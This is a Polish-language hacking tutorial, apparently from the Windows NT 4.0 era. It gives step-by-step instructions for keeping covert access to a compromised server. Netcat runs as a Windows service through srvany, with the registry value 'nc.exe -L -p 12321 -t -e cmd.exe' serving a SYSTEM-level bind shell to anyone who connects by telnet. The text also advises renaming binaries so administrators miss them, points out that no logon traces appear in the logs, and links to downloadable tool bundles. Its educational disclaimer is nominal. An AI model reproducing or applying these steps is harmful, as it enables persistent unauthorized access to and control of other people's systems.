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  Ten tekst jest przeznaczony tylko dla celow edukacyjnych; Stosowanie tej techniki na obcych maszynach jest niezgodne z prawem. Ja, jako autor, nie ponosze zadnej odpowiedzialnosci za twoje dzialania itp.





  


   Pomysl jest dosyc nowatorski i nie slyszalem jeszcze, ani nie czytalem wczesniej o takim sposobie. Generalnie, nie spotkalem sie jeszcze z jakimis ciekawymi pomyslami na backdoor'a pod NT, a tylna furtke zawsze dobrze miec: ) 


   Technika polega na dodaniu dodatkowego serwisu, na ktorym bedzie pracowal Netcat.exe, a ktory bedzie nasluchiwal na odpowiednim porcie, oczekujac na polaczenia. Po uzyskaniu polaczenia, dostajesz cmd.exe z prawami, na jakich chodzi serwis. Proste, prawda?


 


  Narzedzia tu wymienione, nie byly eksperymentowane na zwierzetach, ani nie powoduja poszerzenia sie dziury ozonowej:-)





 Wiekszosc niezbednych tu narzedzi, mozna znalezc w Resource Kit dla Windowsa NT 4.0.


Oprocz tego bedziesz potrzebowal programu Netcat.exe, ktory mozesz znalezc na stronie:


http://www.l0pht.com





Wszystkie wymienione tu narzedzia wraz z opisami znajduja sie tez w pliku NT_Backdoor_tools.zip na mojej stronce http://www.badplace.hg.pl/files/NT_Backdoor_tools.zip


lub na ftp://ftp.underground.org.pl/NT/hack/NT_Backdoor_tools.zip


  


Oryginalna wersja programu Netcat napisal *Hobbit* <hobbit@avian.org>.


Wersje dla NT zrobil Weld Pond <weld@l0pht.com> z L0pht Heavy Industries. 





Zaczynamy:





Na poczatku, zaopatrz sie w nastepujace narzedzia:


* Netcat.exe ( w skrocie bede go nazywal nc.exe)


* Srvany.exe, Instsrv.exe - dotepne w Resource Kit dla NT





Zeby zalozyc tego backdoor'a na serwerze, musisz miec na nim prawa administratora. W koncu chodzi o zachowanie tych przywilejow.


 Jesli juz zdobyles prawa admina, musisz:


1) Do katalogu c:\winnt\system32 wrzucic wyzej wymienione programy;


2) Teraz, odpal sobie cmd.exe


   wpisz w nim: 


INSTSRV nc c:\winnt\system32\srvany.exe 


(instsrv - sluzy do instalacji serwisow)





Zakladam, ze dodawany serwis nazwiesz nc (mozesz go nazwac jak chcesz.Oczywiscie, jesli dzialasz nielegalnie, pewnie nie bedziesz chcial, by admin sie zorinetowal co jest grane. Dlatego mozesz nadac tu nazwe np.System - jesli admin jest debilem, za nic w swiecie tego serwisu nie tknie: )





note: Srvany.exe - narzedzie, sluzace do instalacji jakiegokolwiek progamu jako serwisu. Szczegoly znajdziesz w dokumentacji do niego;





  Instalacje serwisu mozesz tez przeprowadzic za pomoca narzedzia SRVINSTW.EXE (tez znajduje sie w Reskit lub w pliczku NT_Backdoor_tools.zip). To narzedzie jest pod tym wzgledem dobre, ze mozna przeprowadzac instalacje zdalnie i w trybie graficznym;





Teraz, kiedy juz zainstalowales serwis, powinienes:





3) Ustawic parametry dla serwisu srvany;





 Mozesz uzyc na przyklad menadzera serwisow w Panelu sterowania, by ustawic, jak serwis ma byc odpalany - automatycznie, czy manualnie, na jakim koncie - usera, czy systemowym;





Jesli serwis instalujesz na maszynie zdalnej, to uzyj Service Manager'a NT --> szukaj w pliku NT_Backdoor_tools.zip. 





Mozesz sobie np. ustawic, ze serwis bedzie pracowal na koncie systemowym - wiec bedzie mial prawa systemu; Moze tez pracowac na przyklad na koncie administratorskim - bedzie mial prawa admina. Jesli jednak instalujesz na koncie danego usera, musisz podczas instalacji wpisac haslo usera:-( Jeszcze jedno: user, na ktorego koncie ma pracowac serwis musi miec prawo logon as a service, a skoro masz prawa admina, to mozesz je nadac;





Jesli serwis pracuje na koncie usera: w momencie, kiedy user zmieni sobie haselko, serwis nie bedzie startowal; Z serwisem na koncie systemowym nie bedzie takich problemow;





Jesli serwis pracuje na koncie systemowym: sa tu tez pewne problemy, gdyz system nie ma prawa dodawac nowych user'ow. Moze natomiast nadawac prawa administratorskie kontom juz istniejacym, moze tez zmieniac userom hasla, wstrzymywac prace serwisow jak i je startowac i wiele, wiele innych:-)








4) Teraz zostalo ci juz tylko dopisac w rejestrach sciezke do prawdziwego programu, ktory ma byc serwisem:-)





W rejestrach, po instalacji srvany.exe masz juz nastepujacy wpis:


(jesli serwis nazwales nc)





HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nc


Name:           ImagePath


Type:            REG_SZ


Data:            c:\winnt\system32\srvany.exe





oprocz tego jest jeszcze wyszczegolnione konto, na jakim serwis pracuje:





Name:          ObjectName


Type:            REG_SZ


Data:            LocalSystem  (przykladowo)





i kilka innych, mniej waznych...





Teraz tutaj:





HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nc





dodaj nastepujacy klucz:





Parameters





Masz teraz 





HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nc\Parameters





a w nim dopisz wartosc:





Name:          Application


Type:            REG_SZ


Data:            nc.exe -L -p 12321 -t -e cmd.exe








(w tym przypadku, netcat bedzie nasluchiwal na porcie 12321, a po polaczeniu na ten port, da ci cmd.exe - z prawami, na jakich chodzi serwis. Jesli chcesz zmienic parametry pracy Netcat'a, zajrzyj po szczegoly do dokumentacji Netcat'a.)





!!!Do wykonania tego wpisu, mozesz uzyc pliku add_parameters.reg. Standardowo, stworzylem go pod serwis o nazwie nc. Jesli inaczej nazwiesz serwis - musisz w pliczku wprowadzisz modyfikacje; Mozesz tez zmienic nazwe dla Netcat'a.





5) Na koniec zostanie ci tylko uruchomic serwis nc (w rzeczywistosci srvany.exe - ktory odpala nc.exe) i polaczyc sie za pomoca telnetu z portem 12321 - dostaniesz wtedy cmd.exe z prawami np.admina - jesli to na jego koncie chodzi serwis;





Z linii komend piszesz np: telnet www.ofiara.com 12321


W oknie telnetu pojawia sie:


--------------------------------------------------------------


Microsoft(R) Windows NT(TM)


(C) Copyright 1985-1996 Microsoft Corp.





C:\WINNT\system32>whoami


whoami


NT AUTHORITY\SYSTEM


 


C:\WINNT\system32>


C:\WINNT\system32>exit





-connection to host lost-





(jesli na maszynie nie jest zainstalowny Reskit, polecenie whoami nie bedzie dzialalo. Mozesz wtedy zrzucic do ..\system32\ pliczek whoami.exe --> szukaj w pliku NT_Backdoor_tools.zip)





Uwagi koncowe:





1) Oczywiscie chodzi o to, by admin sie nie pokapowal o co tu chodzi. Jesli program netcat.exe lub srvany.exe beda mialy oryginalne nazwy, bedzie to widoczne na liscie procesow - dlatego nalezy nazwe podmienic na cos mniej rzucajacego sie w oczy - np...hmm...wymysl sam:-) Nie bede tu promowal swoich pomyslow na nazwe, bo jakis admin przeczyta i jeszcze przez przypadek u siebie znajdzie:-)) 





2) Jesli ktos juz jest polaczony z portem backdoor'a, nikt inny w tym momencie nie moze uzyskac polaczenia na ten port;





3) Warto dokladnie przeczytac opis srvany.exe --> zamieszczony jest on w Reskit albo w pliku NT_Backdoor_tools.zip. Opracowanie to, jak sadze pozwoli wam rozwiac wszelkie watpliwosci na ten temat i jednoczesnie bedzie doskonala pomoca w razie ewentualnych problemow. 





4) Backdoor byl na razie wstepnie testowany na Windows 2000 - tam tez mozna go bez problemu zainstalowac w ten sam sposob; 





5) W logach bezpieczenstwa nie ma sladu o jakimkolwiek zalogowaniu, bo nie zachodzi tu proces logowania:-). Oczywiscie manipulacja kontami userow itd. pozostawia slady, ale usera, na ktorego koncie pracuje backdoor:- )  


 


6) Przeprowadzilem tez testy zdalne na zwyklym NT 4.0 i NT SBS - pomyslnie:-)


...i pomyslec, ze kiedy teraz czytasz ten tekst, gdzies tam w sieci nasluchuje sobie Netcat:-)))








ps: Jesli znalazles jakies bledy w tekscie - napisz do mnie. Wszelkie uwagi, komentarze i listy z pogrozkami mile widziane:-) 
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